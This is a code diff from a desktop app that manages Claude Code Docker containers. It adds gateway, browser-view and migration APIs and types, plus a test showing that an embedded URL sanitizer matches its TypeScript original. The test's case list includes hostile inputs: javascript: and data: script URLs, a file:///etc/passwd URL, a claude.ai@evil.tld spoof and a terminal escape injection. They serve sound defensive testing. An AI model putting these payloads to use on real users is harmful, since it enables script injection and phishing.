const onAvailable = vi.fn();
|
||||
|
||||
const { result } = renderHook(() => useDocker());
|
||||
act(() => {
|
||||
result.current.startDockerPolling(onAvailable);
|
||||
});
|
||||
|
||||
await tick();
|
||||
expect(onAvailable).not.toHaveBeenCalled();
|
||||
|
||||
await tick();
|
||||
expect(setDockerAvailable).toHaveBeenCalledWith(true);
|
||||
expect(setImageExists).toHaveBeenCalledWith(true);
|
||||
expect(onAvailable).toHaveBeenCalledTimes(1);
|
||||
|
||||
// Polling stopped, so no second invocation.
|
||||
await tick();
|
||||
expect(onAvailable).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("still works without a callback and can be cancelled by its cleanup", async () => {
|
||||
checkDocker.mockResolvedValue(true);
|
||||
|
||||
const { result } = renderHook(() => useDocker());
|
||||
let stop: () => void = () => {};
|
||||
act(() => {
|
||||
stop = result.current.startDockerPolling();
|
||||
});
|
||||
act(() => stop());
|
||||
|
||||
await tick();
|
||||
expect(checkDocker).not.toHaveBeenCalled();
|
||||
expect(setDockerAvailable).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -61,7 +61,15 @@ export function useDocker() {
|
||||
|
||||
const pollingRef = useRef<ReturnType<typeof setInterval> | null>(null);
|
||||
|
||||
const startDockerPolling = useCallback(() => {
|
||||
/**
|
||||
* Poll until Docker appears, then stop.
|
||||
*
|
||||
* `onAvailable` runs exactly once, after `dockerAvailable` is set and the
|
||||
* image has been re-checked. It exists because a session that started before
|
||||
* the daemon was up otherwise never does the "Docker is up" work — status
|
||||
* reconciliation, interrupted-migration recovery, loading the project list.
|
||||
*/
|
||||
const startDockerPolling = useCallback((onAvailable?: () => void | Promise<void>) => {
|
||||
// Don't start if already polling
|
||||
if (pollingRef.current) return () => {};
|
||||
|
||||
@@ -79,6 +87,11 @@ export function useDocker() {
|
||||
} catch {
|
||||
setImageExists(false);
|
||||
}
|
||||
try {
|
||||
await onAvailable?.();
|
||||
} catch (e) {
|
||||
console.error("Docker-available callback failed:", e);
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// Still not available, keep polling
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { invoke } from "@tauri-apps/api/core";
|
||||
import type { Project, ProjectPath, ContainerInfo, SiblingContainer, AppSettings, UpdateInfo, ImageUpdateInfo, FileEntry, WebTerminalInfo, SttStatus, InstallOptions, ClaudeSession, ContainerCapabilities, ScheduledTask, ScheduledTaskInput, SchedulerNotification, AuthBridgeStatus } from "./types";
|
||||
import type { Project, ProjectPath, ContainerInfo, SiblingContainer, AppSettings, UpdateInfo, ImageUpdateInfo, FileEntry, WebTerminalInfo, SttStatus, GatewayStatus, InstallOptions, ClaudeSession, ContainerCapabilities, ScheduledTask, ScheduledTaskInput, SchedulerNotification, AuthBridgeStatus, BrowserViewStatus, PlaywrightDetection, ContainerStaleness, MigrationOptions, MigrationReport, MigrationState, ClearTokenOutcome } from "./types";
|
||||
|
||||
// Docker
|
||||
export const checkDocker = () => invoke<boolean>("check_docker");
|
||||
@@ -103,6 +103,21 @@ export const pullSttImage = () => invoke<void>("pull_stt_image");
|
||||
export const transcribeAudio = (audioData: number[]) =>
|
||||
invoke<string>("transcribe_audio", { audioData });
|
||||
|
||||
// Model gateway (LiteLLM)
|
||||
export const getGatewayStatus = () => invoke<GatewayStatus>("get_gateway_status");
|
||||
export const startGateway = () => invoke<GatewayStatus>("start_gateway");
|
||||
export const stopGateway = () => invoke<void>("stop_gateway");
|
||||
export const checkGatewayHealth = () => invoke<boolean>("check_gateway_health");
|
||||
export const buildGatewayImage = () => invoke<void>("build_gateway_image");
|
||||
export const pullGatewayImage = () => invoke<void>("pull_gateway_image");
|
||||
/** Write-only: the provider API key is never read back out of the keychain. */
|
||||
export const setGatewayApiKey = (apiKey: string) =>
|
||||
invoke<void>("set_gateway_api_key", { apiKey });
|
||||
export const clearGatewayApiKey = () => invoke<void>("clear_gateway_api_key");
|
||||
export const getGatewayAuthToken = () => invoke<string>("get_gateway_auth_token");
|
||||
export const regenerateGatewayAuthToken = () =>
|
||||
invoke<string>("regenerate_gateway_auth_token");
|
||||
|
||||
// Docker install helper
|
||||
export const detectInstallOptions = () =>
|
||||
invoke<InstallOptions>("detect_install_options");
|
||||
@@ -151,6 +166,19 @@ export const setAuthBridgeEnabled = (projectId: string, enabled: boolean) =>
|
||||
export const getAuthBridgeStatus = (projectId: string) =>
|
||||
invoke<AuthBridgeStatus>("get_auth_bridge_status", { projectId });
|
||||
|
||||
// Browser view — watch and take over the browser Claude drives with Playwright
|
||||
// inside the container. Off by default, per project. Enabling probes the
|
||||
// container, starts the Playwright dashboard in it, and puts a token-gated
|
||||
// listener on the host's loopback in front of it; the returned `url` is the
|
||||
// only way in, and it is never reachable off the machine.
|
||||
export const setBrowserViewEnabled = (projectId: string, enabled: boolean) =>
|
||||
invoke<BrowserViewStatus>("set_browser_view_enabled", { projectId, enabled });
|
||||
export const getBrowserViewStatus = (projectId: string) =>
|
||||
invoke<BrowserViewStatus>("get_browser_view_status", { projectId });
|
||||
/** Probe for Playwright without starting anything — used to re-check after installing it. */
|
||||
export const checkBrowserViewSupport = (projectId: string) =>
|
||||
invoke<PlaywrightDetection>("check_browser_view_support", { projectId });
|
||||
|
||||
// Shared Claude Code auth token — one `claude setup-token` run authenticates
|
||||
// every Anthropic-backend project. The token itself is never exposed here: it
|
||||
// lives in the OS keychain and is injected as a container env var.
|
||||
@@ -171,4 +199,48 @@ export const submitClaudeTokenCode = (code: string) =>
|
||||
/** Abort an in-flight acquisition and release the single-flight guard. No-op if nothing is running. */
|
||||
export const cancelClaudeToken = () => invoke<void>("cancel_claude_token");
|
||||
export const hasClaudeToken = () => invoke<boolean>("has_claude_token");
|
||||
export const clearClaudeToken = () => invoke<void>("clear_claude_token");
|
||||
/** Revoke the shared token. Also rewrites any snapshot image that still has it
|
||||
* baked into its env — see `ClearTokenOutcome` for what may be left behind. */
|
||||
export const clearClaudeToken = () =>
|
||||
invoke<ClearTokenOutcome>("clear_claude_token");
|
||||
|
||||
// Container base-image migration — move a project onto the current base image
|
||||
// without deleting its volumes. Reset is the destructive alternative: it wipes
|
||||
// ~/.claude, the OAuth credential, installed skills and every transcript.
|
||||
//
|
||||
// Flow: getContainerStaleness (read-only, ~6s — two filesystem probes, so call
|
||||
// it on demand rather than polling) → migrateProjectToBase → the project sits
|
||||
// in "awaiting-confirmation" while the user tries it → confirmMigration or
|
||||
// rollbackMigration.
|
||||
//
|
||||
// Rollback restores the **system layer only**. Both named volumes are untouched
|
||||
// throughout, so anything written to $HOME during the migrated session — a new
|
||||
// login, new skills, new transcripts — survives a rollback.
|
||||
//
|
||||
// Progress arrives on the existing `container-progress` event.
|
||||
|
||||
/** Read-only. Runs two container/image filesystem probes; not for polling. */
|
||||
export const getContainerStaleness = (projectId: string) =>
|
||||
invoke<ContainerStaleness>("get_container_staleness", { projectId });
|
||||
|
||||
/** Runs the whole migration and resolves with its report. Long-running — the
|
||||
* apt replay alone was measured at ~70s for 8 packages. Calling it again while
|
||||
* a migration is `interrupted` resumes that one instead of starting a new one. */
|
||||
export const migrateProjectToBase = (projectId: string, options: MigrationOptions) =>
|
||||
invoke<MigrationReport>("migrate_project_to_base", { projectId, options });
|
||||
|
||||
/** Accept the migration: drops the rollback tag and the staged payload, and
|
||||
* clears the record. Idempotent. */
|
||||
export const confirmMigration = (projectId: string) =>
|
||||
invoke<void>("confirm_migration", { projectId });
|
||||
|
||||
/** Undo the migration: recreates the container from its pre-migration image.
|
||||
* Fails if the migration kept no rollback image (`keep_rollback: false`). */
|
||||
export const rollbackMigration = (projectId: string) =>
|
||||
invoke<void>("rollback_migration", { projectId });
|
||||
|
||||
/** The persisted record, or null when no migration is in flight. Worth calling
|
||||
* after `reconcileProjectStatuses` at startup: a migration interrupted by an
|
||||
* app crash shows up here as phase "interrupted". */
|
||||
export const getMigrationState = (projectId: string) =>
|
||||
invoke<MigrationState | null>("get_migration_state", { projectId });
|
||||
|
||||
+321
-1
@@ -23,6 +23,7 @@ export interface Project {
|
||||
backend: Backend;
|
||||
bedrock_config: BedrockConfig | null;
|
||||
ollama_config: OllamaConfig | null;
|
||||
llamacpp_config: LlamaCppConfig | null;
|
||||
openai_compatible_config: OpenAiCompatibleConfig | null;
|
||||
allow_docker_access: boolean;
|
||||
sandbox_mode_enabled: boolean;
|
||||
@@ -30,6 +31,8 @@ export interface Project {
|
||||
/** Mirror container loopback listeners onto host loopback so in-container
|
||||
* browser OAuth logins can complete. Host-side only — no container recreate. */
|
||||
auth_bridge_enabled: boolean;
|
||||
/** Opt in to the browser-view pane. Host-side only, like `auth_bridge_enabled`. */
|
||||
browser_view_enabled: boolean;
|
||||
/** Use the shared long-lived Claude Code token (from `claude setup-token`,
|
||||
* held in the OS keychain) instead of this project's own `claude login`.
|
||||
* Defaults to true; only applies when `backend` is "anthropic" and a token
|
||||
@@ -60,7 +63,22 @@ export type ProjectStatus =
|
||||
| "stopping"
|
||||
| "error";
|
||||
|
||||
export type Backend = "anthropic" | "bedrock" | "ollama" | "open_ai_compatible";
|
||||
export type Backend =
|
||||
| "anthropic"
|
||||
| "bedrock"
|
||||
| "ollama"
|
||||
| "llama_cpp"
|
||||
| "open_ai_compatible";
|
||||
|
||||
/** Backends that point Claude Code at a non-Anthropic endpoint via
|
||||
* `ANTHROPIC_BASE_URL`. These get the `ANTHROPIC_DEFAULT_*_MODEL` aliases
|
||||
* pinned to their configured model; Anthropic and Bedrock do not. Mirrors
|
||||
* Rust `Backend::uses_custom_endpoint`. */
|
||||
export const CUSTOM_ENDPOINT_BACKENDS: readonly Backend[] = [
|
||||
"ollama",
|
||||
"llama_cpp",
|
||||
"open_ai_compatible",
|
||||
];
|
||||
|
||||
/** Mirrors Rust `PermissionMode` (serde camelCase). */
|
||||
export type PermissionMode = "plan" | "default" | "acceptEdits" | "bypass";
|
||||
@@ -83,12 +101,28 @@ export interface BedrockConfig {
|
||||
export interface OllamaConfig {
|
||||
base_url: string;
|
||||
model_id: string | null;
|
||||
/** Optional override for the model the `haiku` alias resolves to (the alias
|
||||
* Claude Code uses for background work). Blank falls back to `model_id`. */
|
||||
haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
/** llama.cpp (`llama-server`) — it natively implements the Anthropic Messages
|
||||
* API at `POST /v1/messages`, so Claude Code talks to it directly. */
|
||||
export interface LlamaCppConfig {
|
||||
base_url: string;
|
||||
model_id: string | null;
|
||||
/** See `OllamaConfig.haiku_model_id`. */
|
||||
haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
/** Despite the name (kept for existing project data), the endpoint must
|
||||
* implement the **Anthropic** Messages API — e.g. LiteLLM. */
|
||||
export interface OpenAiCompatibleConfig {
|
||||
base_url: string;
|
||||
api_key: string | null;
|
||||
model_id: string | null;
|
||||
/** See `OllamaConfig.haiku_model_id`. */
|
||||
haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
export interface ClaudeCodeSettings {
|
||||
@@ -137,11 +171,21 @@ export interface GlobalAwsSettings {
|
||||
export interface GlobalOllamaSettings {
|
||||
base_url: string | null;
|
||||
default_model_id: string | null;
|
||||
/** Global fallback for the `haiku` alias override; blank means "use the
|
||||
* resolved model id". */
|
||||
default_haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
export interface GlobalLlamaCppSettings {
|
||||
base_url: string | null;
|
||||
default_model_id: string | null;
|
||||
default_haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
export interface GlobalOpenAiCompatibleSettings {
|
||||
base_url: string | null;
|
||||
default_model_id: string | null;
|
||||
default_haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
export interface AppSettings {
|
||||
@@ -153,6 +197,7 @@ export interface AppSettings {
|
||||
custom_image_name: string | null;
|
||||
global_aws: GlobalAwsSettings;
|
||||
global_ollama: GlobalOllamaSettings;
|
||||
global_llamacpp: GlobalLlamaCppSettings;
|
||||
global_openai_compatible: GlobalOpenAiCompatibleSettings;
|
||||
global_claude_instructions: string | null;
|
||||
global_custom_env_vars: EnvVar[];
|
||||
@@ -163,6 +208,7 @@ export interface AppSettings {
|
||||
dismissed_image_digest: string | null;
|
||||
web_terminal: WebTerminalSettings;
|
||||
stt: SttSettings;
|
||||
gateway: GatewaySettings;
|
||||
global_claude_code_settings: ClaudeCodeSettings | null;
|
||||
}
|
||||
|
||||
@@ -181,6 +227,35 @@ export interface SttStatus {
|
||||
image_exists: boolean;
|
||||
}
|
||||
|
||||
/** One entry of the gateway's LiteLLM `model_list`. */
|
||||
export interface GatewayModel {
|
||||
/** Friendly name a project puts in its model field. */
|
||||
name: string;
|
||||
/** Provider-side model id, e.g. `gpt-5.1`. */
|
||||
model_id: string;
|
||||
}
|
||||
|
||||
export interface GatewaySettings {
|
||||
enabled: boolean;
|
||||
port: number;
|
||||
/** LiteLLM provider prefix — `openai`, `azure`, `gemini`, … */
|
||||
provider: string;
|
||||
api_base: string | null;
|
||||
models: GatewayModel[];
|
||||
}
|
||||
|
||||
export interface GatewayStatus {
|
||||
container_exists: boolean;
|
||||
running: boolean;
|
||||
port: number;
|
||||
image_exists: boolean;
|
||||
model_count: number;
|
||||
/** Presence only — the provider API key never leaves the keychain. */
|
||||
has_api_key: boolean;
|
||||
/** The value a project should use as its base URL. */
|
||||
base_url: string;
|
||||
}
|
||||
|
||||
export interface WebTerminalSettings {
|
||||
enabled: boolean;
|
||||
port: number;
|
||||
@@ -351,8 +426,69 @@ export interface AuthBridgeChangedEvent {
|
||||
status: AuthBridgeStatus;
|
||||
}
|
||||
|
||||
// ── Browser view ─────────────────────────────────────────────────────────────
|
||||
|
||||
/** What the container has, as reported by the in-container Playwright probe.
|
||||
* Mirrors Rust `PlaywrightDetection`. */
|
||||
export interface PlaywrightDetection {
|
||||
node_version: string | null;
|
||||
playwright_version: string | null;
|
||||
playwright_path: string | null;
|
||||
/** Whether the resolved Playwright declares the `browser.bind()` live-dashboard API. */
|
||||
has_bind: boolean;
|
||||
cli_version: string | null;
|
||||
cli_entry: string | null;
|
||||
/** Module roots the probe searched, echoed back for the "not found" message. */
|
||||
searched: string[];
|
||||
}
|
||||
|
||||
/** Mirrors Rust `BrowserViewState` (serde snake_case). */
|
||||
export type BrowserViewState = "off" | "running" | "unavailable";
|
||||
|
||||
export interface BrowserViewStatus {
|
||||
enabled: boolean;
|
||||
state: BrowserViewState;
|
||||
/** Token-bearing loopback URL for the pane's iframe. Never leaves the host. */
|
||||
url: string | null;
|
||||
host_port: number | null;
|
||||
container_port: number | null;
|
||||
started_at: string | null;
|
||||
detection: PlaywrightDetection | null;
|
||||
/** Why the view isn't running, and what to do about it. */
|
||||
message: string | null;
|
||||
}
|
||||
|
||||
/** Payload of the `browser-view-changed` event. */
|
||||
export interface BrowserViewChangedEvent {
|
||||
project_id: string;
|
||||
status: BrowserViewStatus;
|
||||
}
|
||||
|
||||
/** Payload of the `claude-token-progress` event: milestones during
|
||||
* `acquire_claude_token`. Never contains the token. */
|
||||
/**
|
||||
* Result of `clear_claude_token`.
|
||||
*
|
||||
* Revoking is not one action but three: delete the keychain entry (always
|
||||
* succeeds or throws), let container recreation clear the env var, and rewrite
|
||||
* any snapshot image that still has the token baked into its `Config.Env`.
|
||||
* Only the last one can partly fail, and when it does the user has to be told
|
||||
* — a token sitting in an image is readable by `docker image inspect` for as
|
||||
* long as the image exists.
|
||||
*/
|
||||
export interface ClearTokenOutcome {
|
||||
/** Snapshot images that were holding the token and have been rewritten. */
|
||||
snapshots_scrubbed: string[];
|
||||
/** Images still holding it, each with the reason. Non-empty = incomplete. */
|
||||
snapshots_failed: string[];
|
||||
/** Rewritten, but the pre-rewrite image object could not be deleted because a
|
||||
* container still runs off it. Clears itself when that container is
|
||||
* recreated — worth mentioning, not worth alarming about. */
|
||||
snapshots_superseded: string[];
|
||||
/** Set when Docker could not be reached, so nothing is known. */
|
||||
docker_unavailable: string | null;
|
||||
}
|
||||
|
||||
export interface ClaudeTokenProgressEvent {
|
||||
project_id: string;
|
||||
message: string;
|
||||
@@ -365,3 +501,187 @@ export interface ClaudeTokenOutputEvent {
|
||||
project_id: string;
|
||||
chunk: string;
|
||||
}
|
||||
|
||||
/** Payload of the `claude-token-link`: a sign-in URL taken from an OSC 8
|
||||
* hyperlink parameter, which is the only place the CLI emits it whole — the
|
||||
* visible text is sliced to the terminal width. **Untrusted**: it is container
|
||||
* output, so it goes through `sanitizeRelayUrl` with the
|
||||
* `ANTHROPIC_SIGN_IN_HOSTS` allowlist before it is shown or opened. */
|
||||
export interface ClaudeTokenLinkEvent {
|
||||
project_id: string;
|
||||
url: string;
|
||||
}
|
||||
|
||||
/** Payload of `claude-token-code-rejected`: `claude setup-token` refused the
|
||||
* submitted code and is parked waiting for another one. The flow is still
|
||||
* alive, so this is recoverable — `attempts_remaining` is how many more codes
|
||||
* the backend will pass on before giving up. */
|
||||
export interface ClaudeTokenCodeRejectedEvent {
|
||||
project_id: string;
|
||||
message: string;
|
||||
attempts_remaining: number;
|
||||
}
|
||||
|
||||
// ── Container base-image migration ───────────────────────────────────────────
|
||||
//
|
||||
// A project's container is created from its own `triple-c-snapshot-<id>:latest`
|
||||
// image and re-committed on every recreation, so it stays on the base image it
|
||||
// was first built from forever. Migration moves it onto the *current* base
|
||||
// **without touching either named volume** — unlike Reset, which deletes them
|
||||
// and takes the login, skills and transcripts with it.
|
||||
//
|
||||
// Because `/home/claude` is a volume and the image's copy of it is masked after
|
||||
// the first mount, almost nothing needs replaying: Claude Code itself, cargo,
|
||||
// uv, ruff, `~/.claude.json`, the OAuth credential, skills, transcripts,
|
||||
// scheduled tasks and SSH keys all re-attach for free. What is genuinely lost
|
||||
// on an image swap is confined to the writable layer: root-level apt installs,
|
||||
// `npm -g` packages, `/usr/local`, `/opt`, `/srv`, and non-bind-mounted
|
||||
// `/workspace` content. Those are exactly what `MigrationOptions` replays.
|
||||
//
|
||||
// Mirrors Rust `models/migration.rs` (serde snake_case).
|
||||
|
||||
/** How a finished migration attempt ended. Mirrors Rust `MigrationPhase`. */
|
||||
export type MigrationPhase = "succeeded" | "partial" | "failed" | "rolled_back";
|
||||
|
||||
/** One package that could not be replayed onto the new base. */
|
||||
export interface PackageFailure {
|
||||
name: string;
|
||||
/** Tail of the package manager's own error output. */
|
||||
reason: string;
|
||||
}
|
||||
|
||||
/** A data-bearing directory a migration destroys and cannot put back.
|
||||
*
|
||||
* Service state lives under /var — a database's files in /var/lib/<service>,
|
||||
* a site in /var/www — and none of it is carried across: replaying the apt
|
||||
* delta reinstalls the *package* onto the new base and hands back an empty
|
||||
* data directory. The ordinary recreate path does not have this problem
|
||||
* because it creates from the project's own snapshot, so migration has to say
|
||||
* so out loud before anything is touched. */
|
||||
export interface UnpreservedData {
|
||||
/** Absolute path, e.g. `/var/lib/postgresql`. */
|
||||
path: string;
|
||||
/** Total size of the non-package files beneath it. */
|
||||
bytes: number;
|
||||
/** How many non-package files it holds. */
|
||||
file_count: number;
|
||||
}
|
||||
|
||||
/** Why a project is worth migrating, and what migrating would carry across.
|
||||
*
|
||||
* An empty array always means "nothing found", never "not checked" —
|
||||
* `probe_error` is the single place a failed inspection is reported. */
|
||||
export interface ContainerStaleness {
|
||||
/** The container's lineage is not the current base. Always false when
|
||||
* `known` is false: an unknown lineage is not a claim of staleness. */
|
||||
stale: boolean;
|
||||
/** Whether the lineage could be established at all. False means the
|
||||
* container predates the `triple-c.base-image-id` label — "unknown, probe
|
||||
* instead", not "stale". */
|
||||
known: boolean;
|
||||
base_image_id: string | null;
|
||||
current_base_image_id: string | null;
|
||||
/** `Created` of the project's snapshot image, RFC 3339. */
|
||||
snapshot_created_at: string | null;
|
||||
/** Concrete paths the base ships and this container lacks, e.g. `/usr/bin/socat`. */
|
||||
missing_paths: string[];
|
||||
/** Human labels for the same, e.g. "Auth bridge tunnel (socat)". */
|
||||
missing_features: string[];
|
||||
/** apt packages the project added on top of the base; migration replays these. */
|
||||
apt_delta: string[];
|
||||
/** Global npm packages the base does not ship. */
|
||||
npm_global_delta: string[];
|
||||
/** Non-package paths under /usr/local, /opt, /srv and /workspace that would
|
||||
* be carried across. Empty when nothing user-authored was found — which is
|
||||
* the common case. */
|
||||
verbatim_paths: string[];
|
||||
/** Data under /var that the migration destroys and cannot restore. Empty on
|
||||
* an ordinary container; when it is not, the pre-flight has to lead with it. */
|
||||
unpreserved_data: UnpreservedData[];
|
||||
/** dpkg packages the base carries at a different version. A drift measure,
|
||||
* not a promise that every one is newer. */
|
||||
outdated_package_count: number;
|
||||
/** Set when the container/image could not be inspected; everything else is
|
||||
* then at its default. */
|
||||
probe_error: string | null;
|
||||
}
|
||||
|
||||
/** What a migration should replay. All default to false. */
|
||||
export interface MigrationOptions {
|
||||
/** Replay the apt and `npm -g` deltas onto the new base. */
|
||||
replay_packages: boolean;
|
||||
/** Copy the verbatim payload (/usr/local, /opt, /srv, non-bind-mounted /workspace). */
|
||||
copy_paths: boolean;
|
||||
/** Keep the `:pre-migration-<ts>` rollback tag after the migration reports
|
||||
* success, so it can still be undone. Costs roughly a whole snapshot on disk
|
||||
* (3.8–12.3 GB on real projects) because snapshots share almost no layers
|
||||
* with the current base. When false the tag is dropped as soon as the
|
||||
* migration is known to have worked, and `rollback_available` is false. */
|
||||
keep_rollback: boolean;
|
||||
}
|
||||
|
||||
/** The outcome of one migration attempt. */
|
||||
export interface MigrationReport {
|
||||
phase: MigrationPhase;
|
||||
packages_requested: string[];
|
||||
packages_installed: string[];
|
||||
packages_failed: PackageFailure[];
|
||||
paths_copied: string[];
|
||||
/** Human labels for base features the container gained. */
|
||||
features_restored: string[];
|
||||
/** A `:pre-migration-<ts>` image still exists, so `rollbackMigration` works. */
|
||||
rollback_available: boolean;
|
||||
/** One paragraph fit to show the user verbatim. */
|
||||
message: string;
|
||||
}
|
||||
|
||||
/** In-flight phases of `MigrationState.phase`. Distinct from `MigrationPhase`,
|
||||
* which describes *outcomes*.
|
||||
*
|
||||
* These are **hyphenated**, matching the `triple-c.migration-state=in-progress`
|
||||
* container label so there is exactly one spelling in the system. Compare
|
||||
* against the constants below rather than writing the literals — that is what
|
||||
* they are for. */
|
||||
export type MigrationStatePhase =
|
||||
| "in-progress"
|
||||
| "interrupted"
|
||||
| "awaiting-confirmation";
|
||||
|
||||
/** A migration is running right now. Poll `getMigrationState` until it changes. */
|
||||
export const MIGRATION_PHASE_IN_PROGRESS = "in-progress";
|
||||
/** The app died after the container was swapped. Offer resume (call
|
||||
* `migrateProjectToBase` again — it picks the interrupted run up) or rollback. */
|
||||
export const MIGRATION_PHASE_INTERRUPTED = "interrupted";
|
||||
/** Finished; `report` is populated. Offer confirm or rollback. */
|
||||
export const MIGRATION_PHASE_AWAITING_CONFIRMATION = "awaiting-confirmation";
|
||||
|
||||
/** What a migration decided to do, frozen at pre-flight time so a resume
|
||||
* replays the same thing (the deltas cannot be recomputed after the swap). */
|
||||
export interface MigrationPlan {
|
||||
apt_packages: string[];
|
||||
npm_packages: string[];
|
||||
verbatim_paths: string[];
|
||||
missing_paths: string[];
|
||||
/** What the pre-flight found under /var that the migration would destroy,
|
||||
* frozen so the finished report can still name it. */
|
||||
unpreserved_data: UnpreservedData[];
|
||||
}
|
||||
|
||||
/** Persisted host-side migration record. Present only while a migration is in
|
||||
* flight or waiting for a decision; `confirmMigration` and `rollbackMigration`
|
||||
* both clear it. */
|
||||
export interface MigrationState {
|
||||
/** One of `MigrationStatePhase`; typed loosely because an unrecognised value
|
||||
* from a future build must not crash the UI. */
|
||||
phase: string;
|
||||
from_image_id: string | null;
|
||||
to_base_id: string | null;
|
||||
started_at: string;
|
||||
report: MigrationReport | null;
|
||||
/** The `:pre-migration-<ts>` tag holding the old system layer, if kept. */
|
||||
rollback_image: string | null;
|
||||
/** Host path of the staged payload tar, while one exists. */
|
||||
staging_path: string | null;
|
||||
options: MigrationOptions;
|
||||
plan: MigrationPlan | null;
|
||||
}
|
||||
|
||||
@@ -70,8 +70,16 @@ export class UrlDetector {
|
||||
|
||||
if (!flat) return;
|
||||
|
||||
// 3. Match URLs on the flattened string — spans across wrapped lines naturally
|
||||
const urlRe = /https?:\/\/[^\s'"<>\x07]+/g;
|
||||
// 3. Match URLs on the flattened string — spans across wrapped lines naturally.
|
||||
// The negated class stops at anything illegal in a URL, which must
|
||||
// include the *whole* C0 range and DEL, not just BEL: an escape or a NUL
|
||||
// swallowed into the middle of a match becomes a URL that renders as one
|
||||
// thing in the toast and resolves as another. Everything emitted here is
|
||||
// still re-validated by `sanitizeRelayUrl` before it can reach `openUrl`;
|
||||
// stopping the match early only means the legitimate prefix survives
|
||||
// instead of the whole candidate being thrown away.
|
||||
// eslint-disable-next-line no-control-regex
|
||||
const urlRe = /https?:\/\/[^\s'"`<>\x00-\x20\x7f]+/g;
|
||||
let m: RegExpExecArray | null;
|
||||
|
||||
while ((m = urlRe.exec(flat)) !== null) {
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
import { readFileSync } from "node:fs";
|
||||
import { resolve } from "node:path";
|
||||
import { sanitizeRelayUrl, MAX_RELAY_URL_LENGTH } from "./urlRelay";
|
||||
|
||||
/**
|
||||
* The web terminal (`src-tauri/src/web_terminal/terminal.html`) is embedded
|
||||
* into the Rust binary with `include_str!()` and served as one standalone
|
||||
* file, so it cannot import `urlRelay.ts`. It therefore carries a hand-copied
|
||||
* duplicate of `sanitizeRelayUrl` — and a hand-copied security check that no
|
||||
* test can reach is a check that quietly rots.
|
||||
*
|
||||
* This test reaches it: it pulls the marked block straight out of the HTML,
|
||||
* evaluates it, and asserts it agrees with the TypeScript original on every
|
||||
* case. Divergence fails here rather than shipping.
|
||||
*/
|
||||
|
||||
// Vitest runs with `app/` as its root; `import.meta.url` is an http URL under
|
||||
// the jsdom environment, so resolve from the working directory instead.
|
||||
const HTML_PATH = resolve(
|
||||
process.cwd(),
|
||||
"src-tauri/src/web_terminal/terminal.html",
|
||||
);
|
||||
|
||||
const START_MARKER = "─── shared-url-sanitizer ";
|
||||
const END_MARKER = "─── end shared-url-sanitizer ";
|
||||
|
||||
/** Extract and evaluate the embedded copy. */
|
||||
function loadEmbeddedSanitizer(): (raw: unknown) => string | null {
|
||||
const html = readFileSync(HTML_PATH, "utf8");
|
||||
|
||||
const start = html.indexOf(START_MARKER);
|
||||
const end = html.indexOf(END_MARKER);
|
||||
if (start === -1 || end === -1 || end < start) {
|
||||
throw new Error(
|
||||
`Could not find the shared-url-sanitizer markers in ${HTML_PATH}. ` +
|
||||
"If the block was renamed or removed, update this test — do not delete it.",
|
||||
);
|
||||
}
|
||||
|
||||
const block = html.slice(html.indexOf("\n", start) + 1, end);
|
||||
if (!block.includes("function sanitizeRelayUrl(")) {
|
||||
throw new Error(
|
||||
"The shared-url-sanitizer block no longer defines sanitizeRelayUrl().",
|
||||
);
|
||||
}
|
||||
|
||||
// `RELAY_MAX_URL` is declared elsewhere in the page; supply it here with the
|
||||
// same value the TypeScript module uses, which is also what the page sets.
|
||||
const factory = new Function(
|
||||
"RELAY_MAX_URL",
|
||||
`${block}\nreturn sanitizeRelayUrl;`,
|
||||
);
|
||||
return factory(MAX_RELAY_URL_LENGTH) as (raw: unknown) => string | null;
|
||||
}
|
||||
|
||||
const embeddedSanitize = loadEmbeddedSanitizer();
|
||||
|
||||
/**
|
||||
* Every case both copies must agree on. Deliberately the union of the two
|
||||
* threat models, not the easy half.
|
||||
*/
|
||||
const CASES: unknown[] = [
|
||||
// Accepted.
|
||||
"https://example.com/",
|
||||
"http://example.com/x",
|
||||
"https://EXAMPLE.com",
|
||||
"https://my-host.example.com/a-b_c~d/e.f?g=h-i#j-k",
|
||||
"http://127.0.0.1:41703/callback?code=abc",
|
||||
" https://example.com/padded ",
|
||||
"https://example.com/x\n",
|
||||
"https://claude.ai/oauth/authorize?code=true&client_id=abc",
|
||||
|
||||
// Scheme.
|
||||
"javascript:alert(1)",
|
||||
"JavaScript:alert(1)",
|
||||
"data:text/html,<script>alert(1)</script>",
|
||||
"file:///etc/passwd",
|
||||
"vscode://x",
|
||||
"java\nscript:alert(1)",
|
||||
|
||||
// Malformed / hostile.
|
||||
"",
|
||||
" ",
|
||||
"example.com",
|
||||
"https://",
|
||||
"https:///etc/passwd",
|
||||
"https://user:pass@example.com/",
|
||||
"https://claude.ai@evil.tld/oauth/authorize",
|
||||
"https://example.com/a b",
|
||||
"https://example.com/a\r\nb",
|
||||
"https://example.com/\u001b]0;pwned\u0007",
|
||||
"https://example.com/a\u0000b",
|
||||
"https://example.com/a\u007fb",
|
||||
"https://example.com/a\u0085b",
|
||||
"https://example.com/a\u00a0b",
|
||||
'https://example.com/a"b',
|
||||
"https://example.com/a'b",
|
||||
"https://example.com/a`b",
|
||||
`https://example.com/${"a".repeat(MAX_RELAY_URL_LENGTH)}`,
|
||||
|
||||
// Non-strings.
|
||||
null,
|
||||
undefined,
|
||||
42,
|
||||
{},
|
||||
];
|
||||
|
||||
describe("terminal.html's embedded sanitizer", () => {
|
||||
it("is present and extractable", () => {
|
||||
expect(typeof embeddedSanitize).toBe("function");
|
||||
});
|
||||
|
||||
it("agrees with lib/urlRelay.ts on every case", () => {
|
||||
for (const input of CASES) {
|
||||
expect(
|
||||
embeddedSanitize(input),
|
||||
`embedded copy disagrees for input: ${JSON.stringify(input)?.slice(0, 120)}`,
|
||||
).toEqual(sanitizeRelayUrl(input));
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects the userinfo spoof that reads as an Anthropic origin", () => {
|
||||
expect(embeddedSanitize("https://claude.ai@evil.tld/oauth/authorize")).toBeNull();
|
||||
});
|
||||
|
||||
